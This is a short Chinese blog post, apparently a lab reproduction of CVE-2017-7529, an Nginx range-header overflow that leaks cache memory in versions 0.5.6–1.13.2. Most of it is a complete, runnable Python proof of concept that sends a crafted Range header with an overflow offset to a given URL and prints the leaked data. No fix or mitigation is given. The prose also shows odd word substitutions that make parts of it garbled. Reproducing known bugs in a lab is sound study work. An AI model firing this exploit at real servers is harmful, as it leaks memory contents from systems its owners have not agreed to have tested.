Nginx越界读取缓存毛病（CVE-2017-7529）

毛病原理：

影响版本内默认配置模块的Nginx只必要开启缓存，攻击者可以通过发送包含恶意构造range域的header请求举行远程攻击造成信息泄漏。
影响范围：

         Nginx 0.5.6 – 1.13.2
毛病复现：

开启靶场，访问8080端口

中间件版本在影响范围内
利用poc验证毛病：

1. #!/usr/bin/env python
2. import sys
3. import requests
5. if len(sys.argv) < 2:
6.     print("%s url" % (sys.argv[0]))
7.     print("eg: python %s http://your-ip:8080/" % (sys.argv[0]))
8.     sys.exit()
10. headers = {
11.     'User-Agent': "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10240"
12. }
13. offset = 605
14. url = sys.argv[1]
15. file_len = len(requests.get(url, headers=headers).content)
16. n = file_len + offset
17. headers['Range'] = "bytes=-%d,-%d" % (
18.     n, 0x8000000000000000 - n)
20. r = requests.get(url, headers=headers)
21. print(r.text)

复制代码

 
​​​​​​​

免责声明：如果侵犯了您的权益，请联系站长，我们会及时删除侵权内容，谢谢合作！更多信息从访问主页：qidao123.com:ToB企服之家，中国第一个企服评测及商务社交产业平台。